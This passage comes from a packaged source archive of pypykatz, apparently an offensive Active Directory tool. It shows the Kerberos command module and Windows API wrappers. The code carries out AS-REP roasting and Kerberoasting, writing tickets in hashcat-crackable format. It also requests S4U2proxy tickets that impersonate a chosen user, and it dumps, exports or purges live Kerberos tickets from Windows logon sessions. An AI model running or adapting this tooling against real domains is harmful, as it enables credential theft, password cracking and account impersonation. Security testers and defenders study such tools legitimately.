asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') asreproast_parser.add_argument('address', help='Kerberos server IP/hostname') asreproast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast') spnroast_parser.add_argument('-l','--ldap', help='LDAP URL. Load targets via LDAP connection to the DC.') spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.') spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested') spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.') spnroast_parser.add_argument('url', help='user credentials in Kerberos URL format') spnroast_parser.add_argument('-t', '--targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space') s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user') s4u_parser.add_argument('url', help='user credentials in URL format') s4u_parser.add_argument('spn', help='SPN string of the service to request the ticket for') s4u_parser.add_argument('targetuser', help='') s4u_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.') keytab_parser = kerberos_subparsers.add_parser('keytab', help = 'Parse keytab file, list secret key(s)') keytab_parser.add_argument('keytabfile', help='user credentials in URL format') ccache_parser = kerberos_subparsers.add_parser('ccache', help = 'Parse/Edit ccache file', parents=[ccache_subcommand_parser]) kirbi_parser = kerberos_subparsers.add_parser('kirbi', help = 'Parse/Edit kirbi file', parents=[kirbi_subcommand_parser]) def execute(self, args): if len(self.keywords) > 0 and args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def run_live(self, args): if platform.system() != 'Windows': print('[-]This command only works on Windows!') return from pypykatz.kerberos.kerberoslive import KerberosLive, live_roast # , purge, list_sessions #get_tgt, get_tgs kl = KerberosLive() if args.live_kerberos_module == 'roast': res, errors, err = asyncio.run(live_roast(args.out_file)) if err is not None: print('[LIVE][KERBEROS][ROAST] Error while roasting tickets! Reason: %s' % geterr(err)) return if args.out_file is None: for r in res: print(r) elif args.live_kerberos_module == 'tgt': ticket = kl.get_tgt(args.target) if args.out_file is None: print_kirbi(ticket) return with open(args.out_file, 'wb') as f: f.write(ticket) elif args.live_kerberos_module == 'apreq': apreq, sessionkey = kl.get_apreq(args.target) print('APREQ b64: ') print(format_kirbi(apreq.dump())) print('Sessionkey b64: %s' % base64.b64encode(sessionkey).decode()) elif args.live_kerberos_module == 'currentluid': print(hex(kl.get_current_luid())) elif args.live_kerberos_module == 'purge': luid = None if args.luid is not None: luid = args.luid if luid.startswith('0x') is True: luid = int(luid, 16) luid=int(luid) kl.purge(luid) print('Tickets purged!') elif args.live_kerberos_module == 'sessions': kl.list_sessions() elif args.live_kerberos_module == 'triage': if args.luid is None: ticketinfos = kl.get_all_ticketinfo() else: luid = KerberosCMDHelper.luid_converter(args.luid) ticketinfos = kl.get_ticketinfo(luid) table = [['LUID', 'ServerName', 'RealmName', 'StartTime', 'EndTime', 'RenewTime', 'EncryptionType', 'TicketFlags']] for luid in ticketinfos: if len(ticketinfos[luid]) == 0: continue for ticket in ticketinfos[luid]: table.append([ hex(luid), ticket['ServerName'], ticket['RealmName'], filetime_to_dt(ticket['StartTime']).isoformat(), filetime_to_dt(ticket['EndTime']).isoformat(), filetime_to_dt(ticket['RenewTime']).isoformat(), str(ticket['EncryptionType']), str(ticket['TicketFlags']) ]) print_table(table) elif args.live_kerberos_module == 'dump': if args.luid is None: tickets = kl.export_all_ticketdata() else: luid = KerberosCMDHelper.luid_converter(args.luid) tickets = kl.export_ticketdata(luid) if args.outdir is not None: for luid in tickets: for ticket in tickets[luid]: try: pt = KRB_CRED.load(ticket['Ticket']).native name = '_'.join(pt['tickets'][0]['sname']['name-string']) name = hex(int(luid)) + '_' + '@'.join([name, pt['tickets'][0]['realm']]) except: name = hex(int(luid)) + '_' + os.urandom(4).hex() with open(os.path.join(args.outdir, 'ticket_%s.kirbi' % name), 'wb') as f: f.write(ticket['Ticket']) else: for luid in tickets: if len(tickets[luid]) == 0: continue print('LUID @%s' % hex(luid)) for ticket in tickets[luid]: print_kirbi(ticket['Ticket']) def run(self, args): if args.kerberos_module == 'tgt': kirbi, err = asyncio.run(get_TGT(args.url, override_etype = args.etype)) if err is not None: print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err) return if args.out_file is not None: with open(args.out_file, 'wb') as f: f.write(kirbi.dump()) else: print_kirbi(kirbi) elif args.kerberos_module == 'tgs': tgs, encTGSRepPart, key, kirbi, err = asyncio.run(get_TGS(args.url, args.spn, override_etype = args.etype)) if err is not None: print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err) return if args.out_file is not None: with open(args.out_file, 'wb') as f: f.write(kirbi.dump()) else: print_kirbi(kirbi) elif args.kerberos_module == 'brute': target_spns = generate_targets(args.targets, args.domain) _, err = asyncio.run(brute(args.address, target_spns, args.out_file, args.show_negatives)) if err is not None: print('[KERBEROS][BRUTE] Error while enumerating users! Reason: %s' % geterr(err)) return elif args.kerberos_module == 'asreproast': if args.ldap is None: target_spns = generate_targets(args.targets, args.domain, to_spn = False) else: target_spns, _ = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'asrep')) _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype)) if err is not None: print('[KERBEROS][ASREPROAST] Error! Reason: %s' % geterr(err)) return elif args.kerberos_module == 'spnroast': if args.ldap is None and args.targets is None: raise Exception('Either LDAP URL or targets must be provided') if args.ldap is None: target_spns = generate_targets(args.targets, args.domain, to_spn = True) else: _, target_spns = asyncio.run(get_ldap_kerberos_targets(args.ldap, target_type = 'spn')) _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype)) if err is not None: print('[KERBEROS][SPNROAST] Error! Reason: %s' % geterr(err)) return elif args.kerberos_module == 's4u': tgs, encTGSRepPart, key, kirbi, err = asyncio.run(s4u(args.url, args.spn, args.targetuser)) if err is not None: print('[KERBEROS][S4U] Error! Reason: %s' % geterr(err)) return if args.out_file is not None: with open(args.out_file, 'wb') as f: f.write(kirbi.dump()) else: print_kirbi(kirbi) elif args.kerberos_module == 'keytab': process_keytab(args.keytabfile) elif args.kerberos_module == 'ccache': if args.ccache_module == 'list': list_ccache(args.ccachefile) elif args.ccache_module == 'roast': roast_ccache(args.ccachefile, args.out_file) elif args.ccache_module == 'del': del_ccache(args.ccachefile, args.index) elif args.ccache_module == 'exportkirbi': ccache_to_kirbi(args.ccachefile, args.kirbidir) elif args.ccache_module == 'loadkirbi': kirbi_to_ccache(args.ccachefile, args.kirbi) elif args.kerberos_module == 'kirbi': if args.kirbi_module == 'parse': parse_kirbi(args.kirbifile) def get_ldap_url(authmethod = 'ntlm', host = None): from winacl.functions.highlevel import get_logon_info info = get_logon_info() logonserver = info['logonserver'] if host is not None: logonserver = host return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver) async def get_ldap_kerberos_targets(ldap_url, target_type = 'all', authmethod = 'ntlm', host = None): if ldap_url == 'auto': ldap_url = get_ldap_url(authmethod = authmethod, host = host) msldap_url = LDAPConnectionFactory.from_url(ldap_url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') spn_users = [] asrep_users = [] if target_type == 'asrep' or target_type == 'all': async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) if target_type == 'spn' or target_type == 'all': async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosSPN() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) return asrep_users, spn_users././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3113644 pypykatz-0.6.10/pypykatz/kerberos/functiondefs/0000775000175000017500000000000014647211624021252 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/functiondefs/__init__.py0000664000175000017500000000000014543266630023353 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/functiondefs/advapi32.py0000664000175000017500000001277514543266630023253 0ustar00webdevwebdevfrom ctypes import WinError, c_int, cast, c_int64, sizeof, windll, byref, Structure, c_ubyte, c_int16, c_int32, c_void_p, c_uint16, c_uint32, POINTER, c_longlong BYTE = c_ubyte UCHAR = BYTE SHORT = c_int16 USHORT = c_uint16 LONG = c_int32 LPVOID = c_void_p PVOID = LPVOID PPVOID = POINTER(PVOID) DWORD = c_uint32 HANDLE = LPVOID PHANDLE = POINTER(HANDLE) LPHANDLE = PHANDLE NTSTATUS = LONG PNTSTATUS = POINTER(NTSTATUS) USHORT = c_uint16 ULONG = c_uint32 PULONG = POINTER(ULONG) LONGLONG = c_int64 LPDWORD = POINTER(DWORD) LPULONG = POINTER(ULONG) LPLONG = POINTER(LONG) PDWORD = LPDWORD LARGE_INTEGER = c_longlong PLARGE_INTEGER = POINTER(LARGE_INTEGER) TOKEN_INFORMATION_CLASS = c_int ERROR_INSUFFICIENT_BUFFER = 122 # Standard access rights DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 STANDARD_RIGHTS_REQUIRED = 0x000F0000 STANDARD_RIGHTS_READ = READ_CONTROL STANDARD_RIGHTS_WRITE = READ_CONTROL STANDARD_RIGHTS_EXECUTE = READ_CONTROL STANDARD_RIGHTS_ALL = 0x001F0000 SPECIFIC_RIGHTS_ALL = 0x0000FFFF # Token access rights TOKEN_ASSIGN_PRIMARY = 0x0001 TOKEN_DUPLICATE = 0x0002 TOKEN_IMPERSONATE = 0x0004 TOKEN_QUERY = 0x0008 TOKEN_QUERY_SOURCE = 0x0010 TOKEN_ADJUST_PRIVILEGES = 0x0020 TOKEN_ADJUST_GROUPS = 0x0040 TOKEN_ADJUST_DEFAULT = 0x0080 TOKEN_ADJUST_SESSIONID = 0x0100 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID) # Invalid handle value is -1 casted to void pointer. try: INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF except TypeError: if sizeof(c_void_p) == 4: INVALID_HANDLE_VALUE = 0xFFFFFFFF elif sizeof(c_void_p) == 8: INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF else: raise SecurityAnonymous = 0 SecurityIdentification = 1 SecurityImpersonation = 2 SecurityDelegation = 3 SECURITY_IMPERSONATION_LEVEL = c_int PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL) TOKEN_TYPE = c_int PTOKEN_TYPE = POINTER(TOKEN_TYPE) class LUID(Structure): _fields_ = [ ("LowPart", DWORD), ("HighPart", LONG), ] def to_int(self): return LUID.luid_to_int(self) @staticmethod def luid_to_int(luid): return (luid.HighPart << 32) + luid.LowPart @staticmethod def from_int(i): luid = LUID() luid.HighPart = i >> 32 luid.LowPart = i & 0xFFFFFFFF return luid PLUID = POINTER(LUID) class TOKEN_STATISTICS(Structure): _fields_ = [ ("TokenId", LUID), ("AuthenticationId", LUID), ("ExpirationTime", LONGLONG), # LARGE_INTEGER ("TokenType", TOKEN_TYPE), ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL), ("DynamicCharged", DWORD), ("DynamicAvailable", DWORD), ("GroupCount", DWORD), ("PrivilegeCount", DWORD), ("ModifiedId", LUID), ] def to_dict(self): return { "TokenId": self.TokenId.to_int(), "AuthenticationId": self.AuthenticationId.to_int(), "ExpirationTime": self.ExpirationTime, "TokenType": self.TokenType, "ImpersonationLevel": self.ImpersonationLevel, "DynamicCharged": self.DynamicCharged, "DynamicAvailable": self.DynamicAvailable, "GroupCount": self.GroupCount, "PrivilegeCount": self.PrivilegeCount, "ModifiedId": self.ModifiedId.to_int(), } PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS) def RaiseIfZero(result, func = None, arguments = ()): """ Error checking for most Win32 API calls. The function is assumed to return an integer, which is C{0} on error. In that case the C{WindowsError} exception is raised. """ if not result: raise WinError() return result # BOOL WINAPI OpenProcessToken( # __in HANDLE ProcessHANDLE, # __in DWORD DesiredAccess, # __out PHANDLE TokenHandle # ); def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS): _OpenProcessToken = windll.advapi32.OpenProcessToken _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE] _OpenProcessToken.restype = bool _OpenProcessToken.errcheck = RaiseIfZero NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle)) return NewTokenHandle def GetTokenInformation_tokenstatistics(hTokenHandle): """ The original function wasn't working. this one returns the SID for the token """ TokenStatistics = 10 _GetTokenInformation = windll.advapi32.GetTokenInformation _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD] _GetTokenInformation.restype = bool _GetTokenInformation.errcheck = RaiseIfZero ReturnLength = DWORD(0) try: #getting the correct memory allocation size _GetTokenInformation(hTokenHandle, TokenStatistics, None, ReturnLength, byref(ReturnLength)) except Exception as e: pass TokenInformationLength = ReturnLength.value ReturnLength = DWORD(0) ti = (BYTE * TokenInformationLength)() _GetTokenInformation(hTokenHandle, TokenStatistics, byref(ti), TokenInformationLength, byref(ReturnLength)) if ReturnLength.value != TokenInformationLength: raise WinError(ERROR_INSUFFICIENT_BUFFER) t = cast(ti, POINTER(TOKEN_STATISTICS)).contents res = t.to_dict() return res././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/functiondefs/asn1structs.py0000664000175000017500000000170514543266630024123 0ustar00webdevwebdev from asn1crypto import core from minikerberos.protocol.asn1_structs import krb5int32, APOptions, Ticket, EncryptedData, AP_REQ UNIVERSAL = 0 APPLICATION = 1 CONTEXT = 2 TAG = 'explicit' class MechType(core.ObjectIdentifier): _map = { #'': 'SNMPv2-SMI::enterprises.311.2.2.30', '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider', '1.2.840.48018.1.2.2' : 'MS KRB5 - Microsoft Kerberos 5', '1.2.840.113554.1.2.2' : 'KRB5 - Kerberos 5', '1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User', '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism', } class InitialContextToken(core.Sequence): class_ = 1 tag = 0 _fields = [ ('thisMech', MechType, {'optional': False}), ('unk_bool', core.Boolean, {'optional': False}), ('innerContextToken', core.Any, {'optional': False}), ] _oid_pair = ('thisMech', 'innerContextToken') _oid_specs = { 'KRB5 - Kerberos 5': AP_REQ, }././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/functiondefs/kernel32.py0000664000175000017500000000262114543266630023254 0ustar00webdevwebdevfrom ctypes import WinError, windll, c_uint32, c_void_p, c_int32 LPVOID = c_void_p DWORD = c_uint32 HANDLE = LPVOID BOOL = c_int32 NULL = None PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 MAXIMUM_ALLOWED = 33554432 def RaiseIfZero(result, func = None, arguments = ()): """ Error checking for most Win32 API calls. The function is assumed to return an integer, which is C{0} on error. In that case the C{WindowsError} exception is raised. """ if not result: raise WinError() return result def CloseHandle(hHandle): _CloseHandle = windll.kernel32.CloseHandle _CloseHandle.argtypes = [HANDLE] _CloseHandle.restype = bool _CloseHandle.errcheck = RaiseIfZero _CloseHandle(hHandle) # DWORD WINAPI GetCurrentProcessId(void); def GetCurrentProcessId(): _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId _GetCurrentProcessId.argtypes = [] _GetCurrentProcessId.restype = DWORD return _GetCurrentProcessId() # HANDLE WINAPI OpenProcess( # __in DWORD dwDesiredAccess, # __in BOOL bInheritHandle, # __in DWORD dwProcessId # ); def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): _OpenProcess = windll.kernel32.OpenProcess _OpenProcess.argtypes = [DWORD, BOOL, DWORD] _OpenProcess.restype = HANDLE hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId) if hProcess == NULL: raise WinError() return hProcess././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/kerberos/functiondefs/netsecapi.py0000664000175000017500000013731414543266630023612 0ustar00webdevwebdevimport enum import io from ctypes import pointer,c_byte, c_wchar, c_char_p, addressof, c_ubyte, c_int16, c_longlong, cast, byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError, sizeof, c_int32, c_uint16, create_string_buffer from pypykatz.commons.common import hexdump BYTE = c_ubyte UCHAR = BYTE SHORT = c_int16 USHORT = c_uint16 LONG = c_int32 LPWSTR = c_wchar_p LPVOID = c_void_p PVOID = LPVOID PPVOID = POINTER(PVOID) DWORD = c_uint32 HANDLE = LPVOID PHANDLE = POINTER(HANDLE) LPHANDLE = PHANDLE NTSTATUS = LONG PNTSTATUS = POINTER(NTSTATUS) USHORT = c_uint16 ULONG = c_uint32 PULONG = POINTER(ULONG) LARGE_INTEGER = c_longlong PLARGE_INTEGER = POINTER(LARGE_INTEGER) LPBYTE = POINTER(BYTE) LPSTR = c_char_p CHAR = c_char LSA_OPERATIONAL_MODE = ULONG PLSA_OPERATIONAL_MODE = POINTER(LSA_OPERATIONAL_MODE) PCHAR = LPSTR SEC_CHAR = CHAR PSEC_CHAR = PCHAR ERROR_SUCCESS = 0 maxtoken_size = 2880 class SID: def __init__(self): self.Revision = None self.SubAuthorityCount = None self.IdentifierAuthority = None self.SubAuthority = [] def __str__(self): t = 'S-1-' if self.IdentifierAuthority < 2**32: t += str(self.IdentifierAuthority) else: t += '0x' + self.IdentifierAuthority.to_bytes(6, 'big').hex().upper().rjust(12, '0') for i in self.SubAuthority: t += '-' + str(i) return t @staticmethod def from_ptr(ptr): if ptr == None: return None data = string_at(ptr, 8) buff = io.BytesIO(data) sid = SID() sid.Revision = int.from_bytes(buff.read(1), 'little', signed = False) sid.SubAuthorityCount = int.from_bytes(buff.read(1), 'little', signed = False) sid.IdentifierAuthority = int.from_bytes(buff.read(6), 'big', signed = False) data = string_at(ptr+8, sid.SubAuthorityCount*4) buff = io.BytesIO(data) for _ in range(sid.SubAuthorityCount): sid.SubAuthority.append(int.from_bytes(buff.read(4), 'little', signed = False)) return sid class KERB_PROTOCOL_MESSAGE_TYPE(enum.Enum): KerbDebugRequestMessage = 0 KerbQueryTicketCacheMessage = 1 KerbChangeMachinePasswordMessage = 2 KerbVerifyPacMessage = 3 KerbRetrieveTicketMessage = 4 KerbUpdateAddressesMessage = 5 KerbPurgeTicketCacheMessage = 6 KerbChangePasswordMessage = 7 KerbRetrieveEncodedTicketMessage = 8 KerbDecryptDataMessage = 9 KerbAddBindingCacheEntryMessage = 10 KerbSetPasswordMessage = 11 KerbSetPasswordExMessage = 12 KerbVerifyCredentialsMessage = 13 KerbQueryTicketCacheExMessage = 14 KerbPurgeTicketCacheExMessage = 15 KerbRefreshSmartcardCredentialsMessage = 16 KerbAddExtraCredentialsMessage = 17 KerbQuerySupplementalCredentialsMessage = 18 KerbTransferCredentialsMessage = 19 KerbQueryTicketCacheEx2Message = 20 KerbSubmitTicketMessage = 21 KerbAddExtraCredentialsExMessage = 22 KerbQueryKdcProxyCacheMessage = 23 KerbPurgeKdcProxyCacheMessage = 24 KerbQueryTicketCacheEx3Message = 25 KerbCleanupMachinePkinitCredsMessage = 26 KerbAddBindingCacheEntryExMessage = 27 KerbQueryBindingCacheMessage = 28 KerbPurgeBindingCacheMessage = 29 KerbQueryDomainExtendedPoliciesMessage = 30 KerbQueryS4U2ProxyCacheMessage = 31 # https://apidock.com/ruby/Win32/SSPI/SSPIResult class SEC_E(enum.Enum): OK = 0x00000000 CONTINUE_NEEDED = 0x00090312 INSUFFICIENT_MEMORY = 0x80090300 #Not enough memory is available to complete this request. INVALID_HANDLE = 0x80090301 #The handle specified is invalid. UNSUPPORTED_FUNCTION = 0x80090302 #The function requested is not supported. TARGET_UNKNOWN = 0x80090303 #The specified target is unknown or unreachable. INTERNAL_ERROR = 0x80090304 #The Local Security Authority (LSA) cannot be contacted. SECPKG_NOT_FOUND = 0x80090305 #The requested security package does not exist. NOT_OWNER = 0x80090306 #The caller is not the owner of the desired credentials. CANNOT_INSTALL = 0x80090307 #The security package failed to initialize and cannot be installed. INVALID_TOKEN = 0x80090308 #The token supplied to the function is invalid. CANNOT_PACK = 0x80090309 #The security package is not able to marshal the logon buffer, so the logon attempt has failed. QOP_NOT_SUPPORTED = 0x8009030A #The per-message quality of protection is not supported by the security package. NO_IMPERSONATION = 0x8009030B #The security context does not allow impersonation of the client. LOGON_DENIED = 0x8009030C #The logon attempt failed. UNKNOWN_CREDENTIALS = 0x8009030D #The credentials supplied to the package were not recognized. NO_CREDENTIALS = 0x8009030E #No credentials are available in the security package. MESSAGE_ALTERED = 0x8009030F #The message or signature supplied for verification has been altered. OUT_OF_SEQUENCE = 0x80090310 #The message supplied for verification is out of sequence. NO_AUTHENTICATING_AUTHORITY = 0x80090311 #No authority could be contacted for authentication. BAD_PKGID = 0x80090316 #The requested security package does not exist. CONTEXT_EXPIRED = 0x80090317 #The context has expired and can no longer be used. INCOMPLETE_MESSAGE = 0x80090318 #The supplied message is incomplete. The signature was not verified. INCOMPLETE_CREDENTIALS = 0x80090320 #The credentials supplied were not complete and could not be verified. The context could not be initialized. BUFFER_TOO_SMALL = 0x80090321 #The buffers supplied to a function was too small. WRONG_PRINCIPAL = 0x80090322 #The target principal name is incorrect. TIME_SKEW = 0x80090324 #The clocks on the client and server machines are skewed. UNTRUSTED_ROOT = 0x80090325 #The certificate chain was issued by an authority that is not trusted. ILLEGAL_MESSAGE = 0x80090326 #The message received was unexpected or badly formatted. CERT_UNKNOWN = 0x80090327 #An unknown error occurred while processing the certificate. CERT_EXPIRED = 0x80090328 # The received certificate has expired. ENCRYPT_FAILURE = 0x80090329 #The specified data could not be encrypted. DECRYPT_FAILURE = 0x80090330 #The specified data could not be decrypted. ALGORITHM_MISMATCH = 0x80090331 #The client and server cannot communicate because they do not possess a common algorithm. SECURITY_QOS_FAILED = 0x80090332 #The security context could not be established due to a failure in the requested quality of service (for example, mutual authentication or delegation). UNFINISHED_CONTEXT_DELETED = 0x80090333 #A security context was deleted before the context was completed. This is considered a logon failure. NO_TGT_REPLY = 0x80090334 #The client is trying to negotiate a context and the server requires user-to-user but did not send a ticket granting ticket (TGT) reply. NO_IP_ADDRESSES = 0x80090335 #Unable to accomplish the requested task because the local machine does not have an IP addresses. WRONG_CREDENTIAL_HANDLE = 0x80090336 #The supplied credential handle does not match the credential associated with the security context. CRYPTO_SYSTEM_INVALID = 0x80090337 #The cryptographic system or checksum function is invalid because a required function is unavailable. MAX_REFERRALS_EXCEEDED = 0x80090338 #The number of maximum ticket referrals has been exceeded. MUST_BE_KDC = 0x80090339 #The local machine must be a Kerberos domain controller (KDC), and it is not. STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A #The other end of the security negotiation requires strong cryptographics, but it is not supported on the local machine. TOO_MANY_PRINCIPALS = 0x8009033B #The KDC reply contained more than one principal name. NO_PA_DATA = 0x8009033C #Expected to find PA data for a hint of what etype to use, but it was not found. PKINIT_NAME_MISMATCH = 0x8009033D #The client certificate does not contain a valid user principal name (UPN), or does not match the client name in the logon request. Contact your administrator. SMARTCARD_LOGON_REQUIRED = 0x8009033E #Smart card logon is required and was not used. SHUTDOWN_IN_PROGRESS = 0x8009033F #A system shutdown is in progress. KDC_INVALID_REQUEST = 0x80090340 #An invalid request was sent to the KDC. KDC_UNABLE_TO_REFER = 0x80090341 #The KDC was unable to generate a referral for the service requested. KDC_UNKNOWN_ETYPE = 0x80090342 #The encryption type requested is not supported by the KDC. UNSUPPORTED_PREAUTH = 0x80090343 #An unsupported pre-authentication mechanism was presented to the Kerberos package. DELEGATION_REQUIRED = 0x80090345 #The requested operation cannot be completed. The computer must be trusted for delegation, and the current user account must be configured to allow delegation. BAD_BINDINGS = 0x80090346 #Client's supplied Security Support Provider Interface (SSPI) channel bindings were incorrect. MULTIPLE_ACCOUNTS = 0x80090347 #The received certificate was mapped to multiple accounts. NO_KERB_KEY = 0x80090348 #No Kerberos key was found. CERT_WRONG_USAGE = 0x80090349 #The certificate is not valid for the requested usage. DOWNGRADE_DETECTED = 0x80090350 #The system detected a possible attempt to compromise security. Ensure that you can contact the server that authenticated you. SMARTCARD_CERT_REVOKED = 0x80090351 #The smart card certificate used for authentication has been revoked. Contact your system administrator. The event log might contain additional information. ISSUING_CA_UNTRUSTED = 0x80090352 #An untrusted certification authority (CA) was detected while processing the smart card certificate used for authentication. Contact your system administrator. REVOCATION_OFFLINE_C = 0x80090353 #The revocation status of the smart card certificate used for authentication could not be determined. Contact your system administrator. PKINIT_CLIENT_FAILURE = 0x80090354 #The smart card certificate used for authentication was not trusted. Contact your system administrator. SMARTCARD_CERT_EXPIRED = 0x80090355 #The smart card certificate used for authentication has expired. Contact your system administrator. NO_S4U_PROT_SUPPORT = 0x80090356 #The Kerberos subsystem encountered an error. A service for user protocol requests was made against a domain controller that does not support services for users. CROSSREALM_DELEGATION_FAILURE = 0x80090357 #An attempt was made by this server to make a Kerberos-constrained delegation request for a target outside the server's realm. This is not supported and indicates a misconfiguration on this server's allowed-to-delegate-to list. Contact your administrator. REVOCATION_OFFLINE_KDC = 0x80090358 #The revocation status of the domain controller certificate used for smart card authentication could not be determined. The system event log contains additional information. Contact your system administrator. ISSUING_CA_UNTRUSTED_KDC = 0x80090359 #An untrusted CA was detected while processing the domain controller certificate used for authentication. The system event log contains additional information. Contact your system administrator. KDC_CERT_EXPIRED = 0x8009035A #The domain controller certificate used for smart card logon has expired. Contact your system administrator with the contents of your system event log. KDC_CERT_REVOKED = 0x8009035B #The domain controller certificate used for smart card logon has been revoked. Contact your system administrator with the contents of your system event log. INVALID_PARAMETER = 0x8009035D #One or more of the parameters passed to the function were invalid. DELEGATION_POLICY = 0x8009035E #The client policy does not allow credential delegation to the target server. POLICY_NLTM_ONLY = 0x8009035F #The client policy does not allow credential delegation to the target server with NLTM only authentication. RENEGOTIATE = 590625 COMPLETE_AND_CONTINUE = 590612 COMPLETE_NEEDED = 590611 #INCOMPLETE_CREDENTIALS = 590624 class SECPKG_CRED(enum.IntFlag): AUTOLOGON_RESTRICTED = 0x00000010 #The security does not use default logon credentials or credentials from Credential Manager. #This value is supported only by the Negotiate security package. #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. BOTH = 3 #Validate an incoming credential or use a local credential to prepare an outgoing token. This flag enables both other flags. This flag is not valid with the Digest and Schannel SSPs. INBOUND = 1 #Validate an incoming server credential. Inbound credentials might be validated by using an authenticating authority when InitializeSecurityContext (General) or AcceptSecurityContext (General) is called. If such an authority is not available, the function will fail and return SEC_E_NO_AUTHENTICATING_AUTHORITY. Validation is package specific. OUTBOUND = 2 #Allow a local client credential to prepare an outgoing token. PROCESS_POLICY_ONLY = 0x00000020 #The function processes server policy and returns SEC_E_NO_CREDENTIALS, indicating that the application should prompt for credentials. #This value is supported only by the Negotiate security package. #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. class ISC_REQ(enum.IntFlag): DELEGATE = 1 MUTUAL_AUTH = 2 REPLAY_DETECT = 4 SEQUENCE_DETECT = 8 CONFIDENTIALITY = 16 USE_SESSION_KEY = 32 PROMPT_FOR_CREDS = 64 USE_SUPPLIED_CREDS = 128 ALLOCATE_MEMORY = 256 USE_DCE_STYLE = 512 DATAGRAM = 1024 CONNECTION = 2048 CALL_LEVEL = 4096 FRAGMENT_SUPPLIED = 8192 EXTENDED_ERROR = 16384 STREAM = 32768 INTEGRITY = 65536 IDENTIFY = 131072 NULL_SESSION = 262144 MANUAL_CRED_VALIDATION = 524288 RESERVED1 = 1048576 FRAGMENT_TO_FIT = 2097152 HTTP = 0x10000000 class SECPKG_ATTR(enum.Enum): SESSION_KEY = 9 C_ACCESS_TOKEN = 0x80000012 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. C_FULL_ACCESS_TOKEN = 0x80000082 #The pBuffer parameter contains a pointer to a SecPkgContext_AccessToken structure that specifies the access token for the current security context. This attribute is supported only on the server. CERT_TRUST_STATUS = 0x80000084 #The pBuffer parameter contains a pointer to a CERT_TRUST_STATUS structure that 